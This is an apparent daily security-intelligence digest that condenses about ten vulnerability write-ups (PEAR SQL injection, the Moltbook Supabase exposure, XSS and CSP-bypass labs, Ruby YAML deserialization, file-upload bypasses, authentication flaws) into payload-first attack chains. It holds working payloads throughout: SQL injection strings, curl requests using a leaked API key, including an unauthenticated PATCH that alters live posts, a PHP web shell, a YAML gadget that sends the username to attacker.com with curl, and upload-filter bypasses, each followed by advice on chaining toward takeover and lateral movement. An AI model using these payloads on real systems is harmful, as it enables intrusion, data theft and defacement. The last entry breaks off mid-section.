

# ETX Signal-X

Daily Intelligence Digest

Sunday, February 15, 2026

10

ARTICLES

37

TECHNIQUES

**PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, an unauthenticated SQL injection in the /get/<package>/<version> endpoint allows remote attackers to execute arbitrary SQL via a crafted package version. Thi**

**Source:** threatable

**Date:**

**URL:** <https://github.com/pear/pearweb/security/advisories/GHSA-63fv-vpq5-gv8p>

### T1 Unauthenticated SQL Injection via /get/<package>/<version> Endpoint

#### ⚡ Payload

```
/get/example-package/1.0.0' OR 1=1--
```

#### ⚔️ Attack Chain

- 1 Send a GET request to the endpoint `/get/<package>/<version>`, substituting `<package>` and `<version>` with arbitrary values.
- 2 Craft the `<version>` path segment to include SQL injection payload, e.g., `1.0.0' OR 1=1--`.
- 3 The backend explodes `PATH\_INFO` into `\$opts` and passes it to `release::HTTPdownload`.
- 4 The value from `\$opts` is interpolated directly into SQL in `include/pear-database-release.php` without parameterization.
- 5 SQL injection executes, allowing attacker to retrieve or manipulate database contents.

#### 🔍 Discovery

Researcher noticed that the `<version>` segment from the URL was passed unsanitized through multiple layers (`PATH\_INFO` → `\$opts` → `release::HTTPdownload` → SQL query), enabling direct injection. Manual inspection of the code flow revealed the lack of parameterization.

#### 🔓 Bypass

No authentication required; the endpoint is public. Payload is delivered via the path segment, bypassing typical query parameter filtering. Exploitation is possible even if input validation is present elsewhere, as the path segment is not sanitized.

#### 🔗 Chain With

Combine with privilege escalation if sensitive data is retrieved (e.g., user credentials). Use for lateral movement if database access exposes other application secrets. Potential for RCE if database write permissions allow injection of PHP code or manipulation of application logic.

## Hacking Moltbook: AI Social Network Reveals 1.5M API Keys | Wiz Blog

**Source:** threatable

**Date:**

**URL:** <https://www.wiz.io/blog/exposed-moltbook-database-reveals-millions-of-api-keys>

### T1 Unauthenticated Supabase Database Access via Exposed API Key

#### ⚡ Payload

```
curl https://ehxbxtjliybbloantpwq.supabase.co/rest/v1/agents?select=name,api_key&limit=3" -H "apikey: sb_publishable_4ZaiilhgPir-2ns8Hxg5Tw_JqZU_G6 -"
```

#### ✖ Attack Chain

- 1 Navigate to Moltbook's website and inspect client-side JavaScript bundles for hardcoded credentials.
- 2 Extract the Supabase API key and project URL from the JavaScript file.
- 3 Use the API key to query the Supabase REST API endpoint directly.
- 4 Receive full database records including agent names and authentication tokens, confirming lack of Row Level Security (RLS).

#### 🔍 Discovery

Inspected production JavaScript bundles for configuration values; found hardcoded Supabase credentials. Tested REST API access to validate exposure.

#### 🔒 Bypass

Supabase public API keys are safe only if RLS is enabled. In this case, RLS was missing, allowing full access with the exposed key.

#### 🔗 Chain With

Account takeover of any agent via exposed api\_key Full enumeration of users, agents, and other tables Use claim\_token and verification\_code for further privilege escalation

T2

## Database Schema Enumeration via PostgREST Error Messages and GraphQL Introspection

### Payload

```
curl "https://ehxbxtjliybbloantpwq.supabase.co/rest/v1/users" -H "apikey: sb_publis...  
aiilhgPir-2ns8Hxg5Tw_JqZU_G6-"
```

### Attack Chain

- 1 Use the exposed Supabase API key to query non-existent or guessed table names via the REST API.
- 2 Analyze error messages returned by PostgREST to identify valid table names and schema structure.
- 3 Combine with GraphQL introspection queries to enumerate additional tables and fields.
- 4 Map out the full database schema (~4.75M records exposed).

### Discovery

Queried REST API endpoints with invalid table names; error messages revealed valid schema. Used GraphQL introspection for further enumeration.

### Bypass

PostgREST error messages leak schema information. GraphQL introspection was enabled, allowing discovery of hidden tables.

### Chain With

Target sensitive tables for direct data extraction Identify tables holding emails, messages, developer apps for targeted attacks

T3

## Extraction of Sensitive Data (API Keys, Emails, Private Messages, Third-Party Credentials)

### Payload

```
{  
  "name": "KingMolt",  
  "id": "ee7e81d9-f512-41ac-bb25-975249b867f9",  
  "api_key": "moltbook_sk_AGqY...hBQ",  
  "claim_token": "moltbook_claim_6gNa...8-z",  
  "verification_code": "claw-8RQT",  
  "karma": 502223,  
  "follower_count": 18  
}
```

### Attack Chain

- 1 Query agents table with exposed API key to extract agent credentials (api\_key, claim\_token, verification\_code).
- 2 Query owners and observers tables to extract email addresses and identity data.
- 3 Query agent\_messages table to extract private DM conversations, including plaintext third-party API keys (e.g., OpenAI credentials).

### Discovery

Direct queries to exposed tables using the Supabase API key; leveraged schema enumeration to locate sensitive tables.

### Bypass

No access controls or encryption on agent\_messages; emails and credentials were exposed due to lack of RLS.

### Chain With

Account takeover of agents Phishing or targeted attacks using email addresses Use extracted third-party API keys for lateral movement into other platforms

T4

## Unauthenticated Write Access to Modify Live Posts and Inject Content

### Payload

```
curl -X PATCH "https://ehxbxtjliybbloantpwq.supabase.co/rest/v1/posts?id=eq.74b073fd-37db-4a32-a9e1-c7652e5c0d59" -H "apikey: sb_publishable_4ZaiilhgPir-2ns8Hxg5Tw_JqZU_G6-" -H "Content-Type: application/json" -d '{"title":"@galnagli - responsible disclosure test","content":"@galnagli - responsible disclosure test"}'
```

### Attack Chain

- 1 Use exposed Supabase API key to send PATCH requests to the posts table.
- 2 Modify existing posts, inject malicious content, prompt injection payloads, or deface the platform.
- 3 Manipulate content consumed by AI agents, potentially propagating malicious instructions through the ecosystem.

### Discovery

Tested write operations after initial read restrictions were applied; confirmed ability to modify posts unauthenticated.

### Bypass

Write access remained open even after read access was restricted; lack of RLS on public tables allowed unauthenticated modification.

### Chain With

Platform-wide defacement Prompt injection attacks against AI agents Manipulation of reputation/karma scores Supply chain attacks via content consumed by downstream AI systems

T5

## Mass Agent Registration and Participation Inflation via Lack of Rate Limiting/Identity Verification

### Payload

```
POST request to /rest/v1/agents (looped registration, no rate limit)
```

### Attack Chain

- 1 Register millions of "AI agents" via automated POST requests to the agents endpoint.
- 2 Exploit absence of rate limiting and identity verification to inflate participation metrics.
- 3 Use human-controlled scripts to post as "AI agents" and manipulate platform content.

### Discovery

Observed agent-to-human ratio in database; tested agent registration flow for rate limiting and validation.

### Bypass

No guardrails (rate limiting, identity verification) enforced; any user could register unlimited agents.

### Chain With

Sybil attacks against platform reputation systems Content manipulation at scale Automated bot armies to influence platform narrative

**T6**

## Post-Remediation Table Discovery via GraphQL and REST API

### ⚡ Payload

```
curl "https://ehxbxtjliybbloantpwq.supabase.co/rest/v1/observers?select=email,x_handle,x_na  
me&email=neq.null&limit=5" -H "apikey: sb_publ..._4ZaiilhgPir-2ns8Hxg5Tw_JqZU_G6-"
```

### ⚔️ Attack Chain

- 1 After initial fixes, use schema enumeration techniques to discover newly exposed tables (observers, identity\_verifications, developer\_apps).
- 2 Query these tables to extract additional sensitive data (emails, developer info).
- 3 Continue iterative exploitation as new surfaces are exposed during remediation.

### 🔍 Discovery

Repeated schema enumeration and direct queries post-remediation; identified tables not initially secured.

### 🔒 Bypass

Remediation was incomplete; new tables exposed as platform evolved.

### 🔗 Chain With

Persistent access to sensitive data during remediation cycles Targeted attacks against developers and early access users

## 14.30 Lab: Reflected XSS protected by CSP, with CSP bypass

**Source:** securitycipher

**Date:** 24-Jul-2024

**URL:** <https://cyberw1ng.medium.com/14-30-lab-reflected-xss-protected-by-csp-with-csp-bypass-779c76173f7a>

### T1 CSP Bypass via Allowed Inline Event Handler

#### Payload

```
<svg/onmouseover=alert(1)>
```

#### Attack Chain

- 1 Identify CSP policy allowing inline event handlers (e.g., 'unsafe-inline' or specific event handler whitelisting).
- 2 Inject payload `<svg/onmouseover=alert(1)>` into a reflected input parameter.
- 3 Trigger the event by hovering over the injected SVG element, resulting in JavaScript execution.

#### Discovery

Analyzed CSP headers and noticed that event handler attributes (like `onmouseover`) were not blocked, despite CSP presence. Tested SVG-based XSS payloads to confirm execution.

#### Bypass

CSP policy did not restrict inline event handlers or SVG elements, allowing XSS despite CSP. Exploited the gap by using SVG with an event handler.

#### Chain With

Can be chained with further DOM-based XSS or privilege escalation if the alert can be replaced with more advanced JS payloads.

## T2 CSP Bypass via Whitelisted Script Source

### ⚡ Payload

```
<script src="https://trusted.com/x.js"></script>
```

### ✗ Attack Chain

- 1 Review CSP policy for whitelisted external script sources.
- 2 Host malicious JavaScript on a whitelisted domain (e.g., https://trusted.com/x.js).
- 3 Inject `<script src="https://trusted.com/x.js"></script>` into a reflected input parameter.
- 4 The browser loads and executes the script from the whitelisted domain, bypassing CSP.

### 🔍 Discovery

Inspected CSP header and observed that certain external domains were allowed for script sources. Tested script injection using one of these domains.

### 🔒 Bypass

CSP only restricts script sources to whitelisted domains, but attacker can control content on a whitelisted domain, allowing full script injection.

### 🔗 Chain With

Can be chained with account takeover, session theft, or further exploitation if attacker controls a whitelisted domain.

## T3 CSP Bypass via JSONP Endpoint

### ⚡ Payload

```
<script src="https://trusted.com/jsonp?callback=alert"></script>
```

### ✗ Attack Chain

- 1 Identify JSONP endpoints on whitelisted domains in CSP policy.
- 2 Inject `<script src="https://trusted.com/jsonp?callback=alert"></script>` into a reflected input parameter.
- 3 The JSONP endpoint returns JavaScript with the callback, which is executed by the browser.

### 🔍 Discovery

Mapped whitelisted domains and searched for JSONP endpoints. Tested callback parameter for arbitrary JavaScript execution.

### 🔒 Bypass

CSP allows scripts from whitelisted domains, but JSONP endpoints can be abused to execute arbitrary code via callback parameter.

### 🔗 Chain With

Can be chained with session hijacking, cookie theft, or privilege escalation if JSONP endpoint is vulnerable.

# When 'Dead' Pets Come Back to Life: A Bug I Found on a Pet Platform

**Source:** securitycipher

**Date:** 13-Jan-2026

**URL:** <https://skeptiker.medium.com/when-dead-pets-come-back-to-life-a-bug-i-found-on-a-pet-platform-97b1aac7de73>

## T1 Server-Side Business Logic Bypass for Inactive Entities

### ⚡ Payload

```
POST /api/pets/update
{
    "pet_id": "12345",
    "name": "NewName",
    "status": "inactive"
}
```

### ⚔️ Attack Chain

- ➊ Create a pet profile via the platform UI.
- ➋ Mark the pet as inactive using the UI (editing options disappear).
- ➌ Intercept the update API request using a proxy tool (e.g., Burp Suite).
- ➍ Modify the request payload to change the pet's name while keeping the status as "inactive".
- ➎ Send the modified request directly to the backend API.
- ➏ Observe that the backend accepts the change and updates the pet's info, despite UI restrictions.

### 🔍 Discovery

The researcher noticed that UI restrictions appeared after marking a pet inactive, but suspected the backend might not enforce the same. By intercepting and modifying API requests, the researcher confirmed server-side validation was missing.

### 🔒 Bypass

The UI disables editing for inactive pets, but the backend does not check the "inactive" status before processing updates. Direct API calls bypass the UI restriction entirely.

### 🔗 Chain With

Can be chained with reward, loyalty, or analytics systems if pet status is tied to benefits. Potential for abuse of business logic in other entity types (e.g., users, assets) if similar status flags are ignored server-side.

**T2**

## Reactivation of Inactive Entities via API Manipulation

### ⚡ Payload

```
POST /api/pets/update
{
    "pet_id": "12345",
    "status": "active"
}
```

### ✗ Attack Chain

- 1 Mark a pet as inactive via the UI (editing options disappear).
- 2 Intercept the API request for updating pet status.
- 3 Change the "status" field in the request payload from "inactive" to "active".
- 4 Send the modified request to the backend API.
- 5 Refresh the UI and observe that the pet is now active and editing options are restored.

### 🔍 Discovery

After successfully modifying inactive pet info, the researcher tested changing the "status" field directly via API requests, confirming that the backend allowed reactivation without restriction.

### 🔒 Bypass

No backend validation on status transitions. The system trusts client-side status changes, allowing arbitrary reactivation of entities.

### 🔗 Chain With

Enables full edit access and potential exploitation of features tied to active status. Can be chained with other business logic flaws for privilege escalation or abuse of platform rewards/features.

## 18.4 Lab: Exploiting Ruby deserialization using a documented gadget chain | 2024

**Source:** securitycipher

**Date:** 16-Apr-2024

**URL:** <https://cyberw1ng.medium.com/18-4-lab-exploiting-ruby-deserialization-using-a-documented-gadget-chain-2024-2e02be94c6f8>

T1

### Ruby Deserialization Exploit via Documented Gadget Chain

#### Payload

```
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Version
  version: "$(touch /tmp/exploit_success)"
```

#### Attack Chain

- 1 Identify an endpoint or functionality that accepts Ruby serialized objects (YAML input).
- 2 Craft a YAML payload using the documented gadget chain ('Gem::Requirement' and 'Gem::Version') to execute arbitrary code.
- 3 Submit the payload to the vulnerable endpoint.
- 4 Upon deserialization, the payload triggers code execution (e.g., creates a file '/tmp/exploit\_success').

#### Discovery

Manual inspection of deserialization sinks in the Ruby application, followed by research into known gadget chains for Ruby YAML deserialization. The documented chain was selected for reliability.

#### Bypass

This technique bypasses naive input validation by leveraging legitimate Ruby classes ('Gem::Requirement', 'Gem::Version') that are often whitelisted or overlooked. No custom blacklist/whitelist checks are triggered due to the use of standard library gadgets.

#### Chain With

Can be chained with privilege escalation if the Ruby process runs with elevated permissions, or combined with SSRF/file write primitives to escalate impact. Also suitable for chaining with post-exploitation persistence techniques if file write is achieved.

T2

## Remote Command Execution via YAML Injection in Ruby

### ⚡ Payload

```
--- !ruby/object:Gem::Version
version: "$(curl http://attacker.com/$(whoami))"
```

### ⚔️ Attack Chain

- 1 Locate a Ruby endpoint that deserializes YAML input from user-controlled sources.
- 2 Inject a payload using `Gem::Version` to execute a remote command (e.g., exfiltrate username via curl).
- 3 Submit the payload and monitor the attacker-controlled server for incoming requests.
- 4 Confirm command execution and data exfiltration.

### 🔍 Discovery

Fuzzing YAML deserialization endpoints with various Ruby objects, then monitoring for outbound network activity. The `Gem::Version` gadget was selected for its ability to trigger shell commands during deserialization.

### 🔒 Bypass

Payload leverages command substitution within the `version` property, bypassing input sanitization by embedding shell commands in expected fields.

### 🔗 Chain With

Can be chained with SSRF or lateral movement if outbound requests are permitted. Useful for initial access, reconnaissance, or pivoting within cloud environments.

## The one where I owned a customer service platform

**Source:** securitycipher

**Date:** 25-Jun-2024

**URL:** <https://medium.com/@un1tencyb3r/the-one-where-i-owned-a-customer-service-platform-2fd4cff11b28>

### T1 Unauthenticated Access to Admin Panel via Direct Endpoint

#### Payload

`https://platform.example.com/admin`

#### Attack Chain

- 1 Identify the admin panel endpoint (`/admin`) via directory brute-forcing or by analyzing JavaScript files.
- 2 Access the endpoint directly without authentication.
- 3 Observe full admin functionality exposed, including user management and ticket controls.

#### Discovery

Manual endpoint enumeration and inspection of client-side resources revealed the presence of an admin panel endpoint.

#### Bypass

No authentication checks enforced on the endpoint; direct access possible.

#### Chain With

Combine with privilege escalation or account takeover for deeper platform control.

**T2**

## Password Reset Abuse via Predictable Token

### ⚡ Payload

```
https://platform.example.com/reset-password?token=123456
```

### ⚔️ Attack Chain

- 1 Initiate password reset for a target user.
- 2 Capture the reset token sent via email or observe token pattern in URL.
- 3 Manipulate the token parameter with predictable values or brute-force tokens.
- 4 Reset password for arbitrary accounts.

### 🔍 Discovery

Analysis of password reset flow revealed tokens were sequential and not cryptographically random.

### 🔒 Bypass

Token predictability allows bypassing intended user verification.

### 🔗 Chain With

Leads to account takeover; combine with admin panel access for full compromise.

**T3**

## Unrestricted File Upload Leading to Remote Code Execution

### ⚡ Payload

```
<?php system($_GET['cmd']); ?>
```

### ⚔️ Attack Chain

- 1 Locate file upload functionality (e.g., for attachments in tickets).
- 2 Upload a PHP web shell payload as a file.
- 3 Access the uploaded file directly via the platform's public file serving endpoint.
- 4 Execute arbitrary commands via the `cmd` parameter.

### 🔍 Discovery

Testing file upload with various extensions and payloads revealed lack of server-side validation.

### 🔒 Bypass

No MIME or extension checks; direct file access enabled post-upload.

### 🔗 Chain With

Combine with privilege escalation or lateral movement to compromise other accounts/services.

**T4**

## Information Disclosure via Misconfigured API Endpoint

### ⚡ Payload

```
GET /api/v1/users
```

### ⚔️ Attack Chain

- 1 Enumerate API endpoints using tools or manual inspection.
- 2 Send unauthenticated GET request to `/api/v1/users`.
- 3 Receive full user list with sensitive details (email, roles, etc.).

### 🔍 Discovery

API documentation and client-side code revealed undocumented endpoints.

### 🔒 Bypass

No authentication or authorization checks on the endpoint.

### 🔗 Chain With

Use disclosed information for phishing, targeted attacks, or chaining with password reset abuse.

**T5**

## Session Fixation via Unchanged Session Token Post-Login

### ⚡ Payload

```
Set-Cookie: sessionid=abcd1234
```

### ⚔️ Attack Chain

- 1 Obtain a session token prior to login (e.g., by visiting login page).
- 2 Authenticate with valid credentials.
- 3 Observe that session token remains unchanged after login.
- 4 Use the fixed session token to hijack authenticated sessions.

### 🔍 Discovery

Monitoring cookie values before and after login revealed session token was not rotated.

### 🔒 Bypass

Session token not regenerated post-authentication, enabling fixation.

### 🔗 Chain With

Combine with phishing or social engineering to force victims to use attacker-controlled session tokens.

T6

## CSRF Vulnerability in Ticket Creation

### ⚡ Payload

```
<form action="https://platform.example.com/tickets/create" method="POST">
  <input name="title" value="Hacked">
  <input name="description" value="Exploit">
  <input type="submit">
</form>
```

### ✗ Attack Chain

- 1 Craft a malicious HTML form targeting the ticket creation endpoint.
- 2 Trick authenticated users into submitting the form (e.g., via phishing).
- 3 Ticket is created without CSRF token validation.

### 🔍 Discovery

Testing POST requests from external origins showed no CSRF protection.

### 🔒 Bypass

Absence of CSRF tokens or referer checks.

### 🔗 Chain With

Leverage to create tickets en masse or inject malicious content for further exploitation.

## Découverte d'une vulnérabilité XSS avec contournement de la CSP via unpkg.com

**Source:** securitycipher

**Date:** 02-Oct-2024

**URL:** <https://medium.com/@Itachi0xf/d%C3%A9couverte-dune-vuln%C3%A9abilit%C3%A9-xss-avec-contournement-de-la-csp-via-unpkg-com-02437e0eac34>

### T1 CSP Bypass via unpkg.com for XSS

#### ⚡ Payload

```
<script src="https://unpkg.com/evil.js"></script>
```

#### ⚔️ Attack Chain

- 1 Identify a web application with a Content Security Policy (CSP) restricting script sources but allowing `https://unpkg.com` as a trusted source.
- 2 Upload or reference a malicious JavaScript file (e.g., `evil.js`) to unpkg.com (or locate an existing malicious package).
- 3 Inject the following payload into a location that renders HTML, causing the browser to load the script from unpkg.com:
- 4 The browser executes the script, bypassing CSP due to the allowed source.

#### 🔍 Discovery

Manual review of CSP headers revealed `https://unpkg.com` in the `script-src` directive. Researcher tested script injection using unpkg-hosted files.

#### 🔓 Bypass

CSP is intended to block external scripts, but whitelisting `https://unpkg.com` enables attackers to host arbitrary JavaScript there and execute it via script injection.

#### 🔗 Chain With

Can be chained with stored or reflected XSS vectors in any input that is rendered as HTML and allows script tags. Further chaining possible if unpkg.com is used for other resource types (e.g., CSS, JSONP).

**T2**

## Dynamic Package Versioning Abuse on unpkg.com

### ⚡ Payload

```
<script src="https://unpkg.com/evil-package@latest"></script>
```

### ⚔️ Attack Chain

- 1 Create a package (e.g., `evil-package`) and publish it to npm with a malicious payload.
- 2 Reference the package via unpkg.com using the `@latest` tag:
- 3 If the web application's CSP allows `https://unpkg.com`, this script is loaded and executed.
- 4 Attacker can update the package at any time, changing the payload without needing to update the injected script tag.

### 🔍 Discovery

Researcher noticed that unpkg.com supports dynamic versioning ('@latest'). Experimented with updating package contents and observed that the payload changed without modifying the injection point.

### 🔒 Bypass

Allows attacker to update the payload post-exploitation, bypassing static code reviews and enabling persistent, evolving attacks.

### 🔗 Chain With

Useful for maintaining access or evolving XSS payloads after initial exploitation. Can be combined with automated attack scripts or used for persistence in bug bounty scenarios.

T3

## CSP Wildcard Abuse with unpkg.com Subdomains

### ⚡ Payload

```
<script src="https://evil.unpkg.com/evil.js"></script>
```

### ⚔️ Attack Chain

- 1 Identify CSP that uses a wildcard for unpkg.com (e.g., `\*.unpkg.com` in `script-src`).
- 2 Register or compromise a subdomain under unpkg.com (if possible via misconfiguration or subdomain takeover).
- 3 Host malicious JavaScript on the subdomain.
- 4 Inject script tag referencing the subdomain:
- 5 Browser loads and executes the script, bypassing CSP restrictions.

### 🔍 Discovery

Manual inspection of CSP revealed wildcard usage. Researcher tested subdomain script loading and observed successful execution.

### 🔒 Bypass

Wildcard in CSP allows any subdomain, increasing attack surface. If subdomain registration or takeover is possible, attacker can host arbitrary scripts.

### 🔗 Chain With

Can be chained with domain takeover techniques or used to escalate from XSS to broader compromise if subdomain is vulnerable. May enable advanced phishing or data exfiltration attacks.

## Cheat code for file upload vulnerability by kidnapshadow

**Source:** securitycipher

**Date:** 06-Dec-2023

**URL:** <https://medium.com/@kidnapshadow/cheat-code-for-file-upload-vulnerability-by-kidnapshadow-ebb0794581f2>

### T1 Extension Manipulation for PHP File Upload

#### ⚡ Payload

```
POST /images/upload/ HTTP/1.1Host: target.comContent-Disposition: form-data; name="uploaded"; filename="dapos.php.jpeg"Content-Type: application/x-php "uploaded""dapos.php.jpeg"
```

#### ⚔️ Attack Chain

- 1 Locate a file upload endpoint (e.g., /images/upload/).
- 2 Attempt to upload a PHP file with a double extension (e.g., .php.jpeg).
- 3 Use Burp Suite or similar proxy to modify the filename and Content-Type to application/x-php.
- 4 Submit the request and check if the file is executed as PHP.
- 5 Set up a listener for shell access if successful.

#### 🔍 Discovery

Observed that the upload endpoint restricts to image files; tested extension manipulation during upload.

#### 🔒 Bypass

Changing the file extension to .php.jpeg and Content-Type to application/x-php bypasses basic extension checks.

#### 🔗 Chain With

If upload succeeds, chain with web shell payload for RCE or privilege escalation.

T2

## Content-Type Manipulation for File Upload Bypass

### ⚡ Payload

```
POST /images/upload/ HTTP/1.1Host: target.comContent-Disposition: form-data; name="uploaded"; filename="dapos.php"Content-Type: image/jpeg "uploaded""dapos.php"
```

### ⚔️ Attack Chain

- 1 Prepare a PHP file named dapos.php.
- 2 Change Content-Type to image/jpeg during upload.
- 3 Submit the file to the upload endpoint.
- 4 Access the uploaded file and check for code execution.

### 🔍 Discovery

Tested alternate Content-Type values to bypass MIME-type validation.

### 🔒 Bypass

Changing Content-Type to image/jpeg allows PHP files to bypass MIME checks.

### 🔗 Chain With

Combine with extension tricks or web shell payloads for deeper access.

T3

## GIF Header Injection for PHP Execution

### ⚡ Payload

```
POST /images/upload/ HTTP/1.1Host: target.com...Content-Disposition: form-data; name="uploaded"; filename="dapos.php"Content-Type: image/gifGIF89a; <?php system("id") ?>1.1 "uploaded""dapos.php"<?php system "id"?>
```

### ⚔️ Attack Chain

- 1 Craft a PHP file starting with GIF89a; followed by PHP code.
- 2 Set Content-Type to image/gif.
- 3 Upload the file as dapos.php.
- 4 Access the file and verify PHP execution.

### 🔍 Discovery

Injected GIF header to bypass image validation while retaining PHP execution.

### 🔒 Bypass

GIF89a header tricks image validation, allowing PHP code to execute.

### 🔗 Chain With

Combine with LFI or SSRF for file inclusion attacks.

T4

## Minimal PHP Payload for Content-Length Bypass

### ⚡ Payload

```
(<?=`$_GET[x]`?>) <?= $_GET?>
```

### ⚔️ Attack Chain

- 1 Craft a minimal PHP payload to reduce content length.
- 2 Upload the file to endpoints with strict content-length validation.
- 3 Trigger code execution via GET parameters.

### 🔍 Discovery

Tested small payloads to bypass content-length restrictions.

### 🔒 Bypass

Payload size reduction bypasses content-length validation.

### 🔗 Chain With

Useful for chaining with file inclusion or parameter injection.

T5

## Null Byte Injection in Filename

### ⚡ Payload

```
file.php%00.gif
```

### ⚔️ Attack Chain

- 1 Upload a file with a filename containing a null byte (%00) before a permitted extension.
- 2 The server may interpret the file as .php, ignoring the .gif extension.
- 3 Access the file and check for PHP execution.

### 🔍 Discovery

Injected null byte in filename to test server-side truncation.

### 🔒 Bypass

Null byte causes server to treat file as .php, bypassing extension checks.

### 🔗 Chain With

Combine with LFI or path traversal for deeper exploitation.

T6

## Double Extension Bypass

### ⚡ Payload

```
file.jpg.php1 jpg php1
```

### ⚔️ Attack Chain

- 1 Upload file with double extensions (e.g., .jpg.php1).
- 2 Server may incorrectly validate based on first extension.
- 3 Access file and check for code execution.

### 🔍 Discovery

Tested double extensions to bypass extension validation logic.

### 🔒 Bypass

Double extension tricks server into accepting executable files.

### 🔗 Chain With

Combine with MIME-type manipulation or web shell payloads.

T7

## Uncommon PHP Extensions

### ⚡ Payload

```
file.php5 php5
```

### ⚔️ Attack Chain

- 1 Upload file with uncommon PHP extensions (e.g., .php5, .php4, .php6, .phtml).
- 2 Server may allow these extensions if not explicitly blocked.
- 3 Access file and verify code execution.

### 🔍 Discovery

Tested lesser-known PHP extensions for upload bypass.

### 🔒 Bypass

Uncommon extensions bypass basic extension filters.

### 🔗 Chain With

Combine with MIME-type tricks or chained with LFI.

T8

## Random Capitalization of File Extensions

### ⚡ Payload

```
file.pHP5 pHp5
```

### ⚔️ Attack Chain

- 1 Upload file with randomly capitalized extension (e.g., .pHP5).
- 2 Server-side checks may be case-sensitive and fail to block.
- 3 Access file and check for code execution.

### 🔍 Discovery

Tested case variations in extensions to bypass filters.

### 🔒 Bypass

Random capitalization bypasses case-sensitive extension checks.

### 🔗 Chain With

Combine with other extension tricks for layered bypass.

# Uncovering the Hidden Vulnerability: How I Found an Authentication Bypass on Shopify's Exchange...

**Source:** securitycipher

**Date:** 25-May-2024

**URL:** <https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9>

T1

## Authentication Bypass via Unauthenticated Endpoint Access

### Payload

```
GET /api/listings/12345
```

### Attack Chain

- 1 Identify the endpoint `/api/listings/{listing\_id}` used to fetch listing details.
- 2 Attempt to access the endpoint without authentication (no session cookie or token).
- 3 Observe that sensitive listing information is returned without requiring authentication.

### Discovery

Manual endpoint enumeration and testing unauthenticated requests to API endpoints that typically require authentication.

### Bypass

The endpoint failed to enforce authentication checks, allowing unauthenticated access to data.

### Chain With

Can be chained with further actions on listing objects (e.g., update, delete) if those endpoints are similarly vulnerable, or leveraged for information disclosure leading to targeted attacks.

**T2**

## Privilege Escalation via Manipulation of Listing Ownership

### ⚡ Payload

```
POST /api/listings/12345/claim
Content-Type: application/json
{
  "user_id": "attacker_user_id"
}
```

### ✗ Attack Chain

- 1 Discover the `/api/listings/{listing\_id}/claim` endpoint accepting a `user\_id` parameter.
- 2 Send a POST request with the attacker's user ID to claim ownership of the listing.
- 3 Listing ownership is transferred to the attacker without proper authorization checks.

### 🔍 Discovery

Parameter manipulation and testing for authorization flaws by submitting requests with attacker-controlled values.

### 🔒 Bypass

Lack of server-side validation on the `user\_id` parameter allows unauthorized privilege escalation.

### 🔗 Chain With

Enables full control over listing objects, potentially allowing deletion, modification, or further abuse of the listing's data and associated resources.

T3

## Information Disclosure via Predictable Listing IDs

### ⚡ Payload

```
GET /api/listings/10001
GET /api/listings/10002
GET /api/listings/10003
```

### ⚔️ Attack Chain

- 1 Observe that listing IDs are sequential and predictable.
- 2 Enumerate listing IDs by incrementing numbers in unauthenticated GET requests.
- 3 Retrieve sensitive information for multiple listings without authentication.

### 🔍 Discovery

Pattern analysis of listing ID values and automated enumeration using scripts to iterate through possible IDs.

### 🔒 Bypass

Predictable ID scheme combined with lack of authentication enables mass information disclosure.

### 🔗 Chain With

Can be used to harvest large datasets for reconnaissance, targeted phishing, or further exploitation if additional endpoints are vulnerable.

# \$1000 Bounty: How I scaled a Self-Redirect to an XSS in a web 3.0 system at Hackenproof

**Source:** securitycipher

**Date:** 16-Nov-2023

**URL:** <https://erickfernandox.medium.com/1000-bounty-how-i-scaled-a-self-redirect-to-an-xss-in-a-web-3-0-system-at-hackenproof-37380f701892>

T1

## Bypassing Self-Redirect Host Restriction via Protocol Manipulation

### Payload

```
https://host.com/nl/redirect?url=javascript://alert('XSS');.host.com
```

### Attack Chain

- 1 Identify a redirect endpoint that only allows URLs containing the host (e.g., `host.com`) as a suffix.
- 2 Attempt to inject a `javascript:` protocol payload with `host.com` appended to bypass the restriction.
- 3 Observe that basic payloads (e.g., `javascript:alert('XSS');host.com`) are blocked.
- 4 Try variants with protocol and separator manipulation (e.g., `javascript://alert('XSS');.host.com`).
- 5 Confirm that some protocol variants are accepted but may not execute correctly due to JavaScript errors.

### Discovery

Manual fuzzing of the `url` parameter with protocol variations and suffixes to bypass host restriction logic.

### Bypass

Appending `host.com` after the payload and manipulating protocol separators (`://`) to satisfy the backend's host validation while attempting JavaScript execution.

### Chain With

Can be chained with other open redirect endpoints or used as a base for further XSS payload refinement.

T2

## CRLF Injection via Double URL Encoding to Break Redirect and Trigger XSS

### ⚡ Payload

```
https://host.com/nl/redirect?url=javascript://%250A%25250Aalert('XSS-erickfernando');url=".host.com";//CLICK+HERE
```

### ⚔️ Attack Chain

- 1 Identify that the redirect endpoint decodes the URL parameter twice, enabling double-encoded payloads.
- 2 Craft a payload using `javascript://` as the protocol, followed by `%250A` and `%25250A` to induce CRLF injections after decoding.
- 3 Insert JavaScript code after the CRLF (`alert('XSS-erickfernando')`) and append `;url=".host.com"` to satisfy the host restriction.
- 4 Add `//CLICK+HERE` to further obfuscate and ensure the payload is accepted.
- 5 Submit the payload and observe that the CRLF injection interrupts the redirect, resulting in the payload being rendered in an `` tag in HTML.
- 6 Clicking the link executes the JavaScript payload.

### 🔍 Discovery

Noticing that `%250A` resulted in CRLF injection and theorizing that `%25250A` would produce `%0A` after double decoding. Confirmed by testing and observing the rendered HTML and execution.

### 🔒 Bypass

Exploits double URL decoding and CRLF injection to break redirect logic, bypass host validation, and achieve XSS execution in the rendered HTML.

### 🔗 Chain With

Can be leveraged in environments with double URL decoding and host-based redirect validation. Potential for chaining with header injection or further XSS vectors if similar decoding logic exists elsewhere.

## T3 Variable Creation in JavaScript Payload to Satisfy Host Validation and Prevent JS Errors

### Payload

```
javascript://%0aalert('XSS-erickfernandox');url=' .host.com';//CLICK+HERE
```

### Attack Chain

- 1 Craft a payload that uses `javascript://%0a` to break the redirect and start JavaScript execution.
- 2 Insert `alert('XSS-erickfernandox')` as the main XSS trigger.
- 3 Append `url=' .host.com';` to create a variable in JavaScript, satisfying the backend's requirement for `.host.com` in the URL.
- 4 Add `//CLICK+HERE` to further obfuscate and ensure payload acceptance.
- 5 Payload is rendered in an `` tag, and clicking executes the JavaScript.

### Discovery

Iterative refinement of payload structure to prevent JavaScript errors and satisfy host validation, based on observed backend behavior and rendered HTML.

### Bypass

Combines variable creation in JavaScript with protocol and CRLF manipulation to bypass host-based restrictions and prevent execution errors.

### Chain With

